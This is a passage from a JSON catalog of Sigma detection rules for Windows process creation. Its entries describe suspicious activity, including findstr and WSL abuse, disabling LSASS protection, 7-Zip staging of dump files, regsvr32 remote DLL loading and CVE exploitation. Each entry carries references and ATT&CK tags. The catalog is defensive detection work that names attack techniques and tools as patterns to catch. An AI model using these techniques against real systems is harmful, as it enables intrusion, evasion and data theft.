"https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.t1564.004", "attack.t1552.001", "attack.t1105" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bf6c39fc-e203-45b9-9538-05397c1b4f3f", "value": "Abusing Findstr for Defense Evasion" }, { "description": "Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/29", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_powertool_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml", "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", "https://twitter.com/gbti_sa/status/1249653895900602375?lang=en", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powertool_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "a34f79a3-8e5f-4cc3-b765-de00695452c2", "value": "PowerTool Execution" }, { "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", "meta": { "author": "Bartlomiej Czyz, Relativity", "creation_date": "2021/01/31", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_rundll32_without_parameters.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://bczyz1.github.io/2021/01/30/psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002", "attack.t1570", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5bb68627-3198-40ca-b458-49f973db8752", "value": "Rundll32 Without Parameters" }, { "description": "Detects Possible usage of Windows Subsystem for Linux (WSL) binary as a LOLBIN", "meta": { "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali", "creation_date": "2020/10/05", "falsepositive": [ "Automation and orchestration scripts may use this method execute scripts etc", "Legitimate use by Windows to kill processes opened via WSL (example VsCode WSL server)" ], "filename": "proc_creation_win_lolbin_susp_wsl.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/", "https://twitter.com/nas_bench/status/1535431474429808642", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_wsl.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218", "attack.t1202" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", "value": "WSL Execution" }, { "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", "meta": { "author": "Florian Roth (rule), Microsoft (idea)", "creation_date": "2022/08/04", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_iis_module_registration.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iis_module_registration.yml" ], "tags": "No established tags" }, "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c", "value": "Suspicious IIS Module Registration" }, { "description": "Adversaries may interact with the Windows Registry to gather information about credentials, the system, configuration, and installed software.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_query_registry.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_registry.yml" ], "tags": [ "attack.discovery", "attack.t1012", "attack.t1007" ] }, "uuid": "970007b7-ce32-49d0-a4a4-fbef016950bd", "value": "Query Registry" }, { "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", "meta": { "author": "frack113", "creation_date": "2021/07/27", "falsepositive": [ "Command line parameter combinations that contain all included strings" ], "filename": "proc_creation_win_susp_7z.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7z.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9fbf5927-5261-4284-a71d-f681029ea574", "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP" }, { "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/10", "falsepositive": [ "Other parent processes other than notepad++ using GUP that are not currently identified" ], "filename": "proc_creation_win_susp_gup_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1535322182863179776", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c", "value": "Download Files Using Notepad++ GUP Utility" }, { "description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation", "meta": { "author": "frack113", "creation_date": "2022/12/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_token_obfuscation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_token_obfuscation.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.009" ] }, "related": [ { "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "deb9b646-a508-44ee-b7c9-d8965921c6b6", "value": "Powershell Token Obfuscation - Process Creation" }, { "description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/13", "falsepositive": [ "Legitimate usage of office automation via scripting" ], "filename": "proc_creation_win_office_svchost_child.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/med0x2e/vba2clr", "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" ], "tags": [ "attack.execution", "attack.defense_evasion" ] }, "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28", "value": "Svchost Spawning Office Application" }, { "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", "meta": { "author": "Nasreddine Bencherchali @nas_bench", "creation_date": "2021/12/18", "falsepositive": [ "Legitimate administrative use (Should be investigated either way)" ], "filename": "proc_creation_win_cleanwipe.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cleanwipe.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100", "value": "CleanWipe Usage" }, { "description": "The Devtoolslauncher.exe executes other binary", "meta": { "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", "creation_date": "2019/10/12", "falsepositive": [ "Legitimate use of devtoolslauncher.exe by legitimate user" ], "filename": "proc_creation_win_susp_devtoolslauncher.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/", "https://twitter.com/_felamos/status/1179811992841797632", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6", "value": "Devtoolslauncher.exe Executes Specified Binary" }, { "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", "meta": { "author": "Florian Roth", "creation_date": "2019/02/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" ], "tags": [ "attack.credential_access", "attack.t1552.001", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", "value": "Judgement Panda Credential Access Activity" }, { "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", "meta": { "author": "Eli Salem, Sander Wiebing, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate modification of keys" ], "filename": "proc_creation_win_regini.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml" ], "tags": [ "attack.t1112", "attack.defense_evasion" ] }, "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134", "value": "Modifies the Registry From a File" }, { "description": "Detects a suspicious 7zip execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/27", "falsepositive": [ "Legitimate use of 7-Zip with a command line in which .dmp appears accidentally" ], "filename": "proc_creation_win_susp_7zip_dmp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7zip_dmp.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7", "value": "7Zip Compressing Dump Files" }, { "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", "meta": { "author": "Florian Roth (rule), @blu3_team (idea)", "creation_date": "2019/06/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_double_extension.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/blackorbird/status/1140519090961825792", "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001" ] }, "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", "value": "Suspicious Double Extension" }, { "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", "meta": { "author": "Florian Roth", "creation_date": "2020/03/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_cve_2020_10189.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224", "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.execution", "attack.t1059.001", "attack.t1059.003", "attack.s0190", "cve.2020.10189" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", "value": "Exploited CVE-2020-10189 Zoho ManageEngine" }, { "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_import_cert_susp_locations.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.004" ] }, "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa", "value": "Root Certificate Installed From Susp Locations" }, { "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", "meta": { "author": "Florian Roth", "creation_date": "2021/07/14", "falsepositive": [ "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" ], "filename": "proc_creation_win_susp_servu_process_pattern.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_process_pattern.yml" ], "tags": [ "attack.credential_access", "attack.t1555", "cve.2021.35211" ] }, "related": [ { "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf", "value": "Suspicious Serv-U Process Pattern" }, { "description": "Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wsudo_susp_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/M2Team/Privexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsudo_susp_execution.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bdeeabc9-ff2a-4a51-be59-bb253aac7891", "value": "Wsudo Suspicious Execution" }, { "description": "Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_office_proxy_exec_wmic.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_proxy_exec_wmic.yml" ], "tags": [ "attack.t1204.002", "attack.t1047", "attack.t1218.010", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e1693bc8-7168-4eab-8718-cdcaa68a1738", "value": "Office Processes Proxy Execution Through WMIC" }, { "description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "FQDNs that start with a number" ], "filename": "proc_creation_win_susp_regsvr32_http_pattern.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", "https://twitter.com/tccontre18/status/1480950986650832903", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8", "value": "Suspicious Regsvr32 HTTP IP Pattern" }, { "description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", "meta": { "author": "Florian Roth", "creation_date": "2022/07/05", "falsepositive": [ "Scripts created by developers and admins", "Administrative activity" ], "filename": "proc_creation_win_curl_download.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bbeaed61-1990-4773-bf57-b81dbad7db2d", "value": "Curl Usage on Windows" }, { "description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", "meta": { "author": "Markus Neis", "creation_date": "2018/08/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_dll_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba", "value": "Detection of PowerShell Execution via DLL" }, { "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", "meta": { "author": "Maxime Thiebaut (@0xThiebaut)", "creation_date": "2021/10/21", "falsepositive": [ "Legitimate usage of the uncommon Windows Work Folders feature." ], "filename": "proc_creation_win_susp_workfolders.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/elliotkillick/status/1449812843772227588", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0bbc6369-43e3-453d-9944-cae58821c173", "value": "Execution via WorkFolders.exe" }, { "description": "Detects suspicious child processes spawned by PowerShell", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2022/04/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_sub_processes.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/ankit_anubhav/status/1518835408502620162", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml" ], "tags": "No established tags" }, "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647", "value": "Suspicious PowerShell Child Processes" }, { "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", "creation_date": "2020/10/10", "falsepositive": [ "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" ], "filename": "proc_creation_win_root_certificate_installed.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_root_certificate_installed.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.004" ] }, "uuid": "46591fae-7a4c-46ea-aec3-dff5e6d785dc", "value": "Root Certificate Installed" }, { "description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", "meta": { "author": "pH-T", "creation_date": "2022/09/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_net_use.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/ShadowChasing1/status/1552595370961944576", "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993", "value": "Suspicious Net Use Command Combo" }, { "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", "meta": { "author": "Florian Roth", "creation_date": "2017/09/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_cve_2017_8759.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.t1204.002", "attack.initial_access", "attack.t1566.001" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", "value": "Exploit for CVE-2017-8759" }, { "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_customshellhost.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/180", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d", "value": "Suspicious CustomShellHost Execution" }, { "description": "Detects reg command lines that disables PPL on the LSA process", "meta": { "author": "Florian Roth", "creation_date": "2022/03/22", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_reg_lsass_ppl.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsass_ppl.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.010" ] }, "related": [ { "dest-uuid": "824add00-99a1-4b15-9a2d-6c5683b7b497", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8c0eca51-0f88-4db2-9183-fdfb10c703f9", "value": "Registry Disabling LSASS PPL" }, { "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", "meta": { "author": "Florian Roth", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate administrative tasks" ], "filename": "proc_creation_win_susp_psexesvc_as_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml" ], "tags": [ "attack.execution" ] }, "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94", "value": "PsExec Service Execution as LOCAL SYSTEM" }, { "description": "Detects manual execution of the \"Microsoft Compatibility Appraiser\" task via schtasks. In order to trigger persistence stored in the \"\\AppCompatFlags\\TelemetryController\" registry key.", "meta": { "author": "Sreeman", "creation_date": "2020/09/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_abusing_windows_telemetry_for_persistence.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_windows_telemetry_for_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ 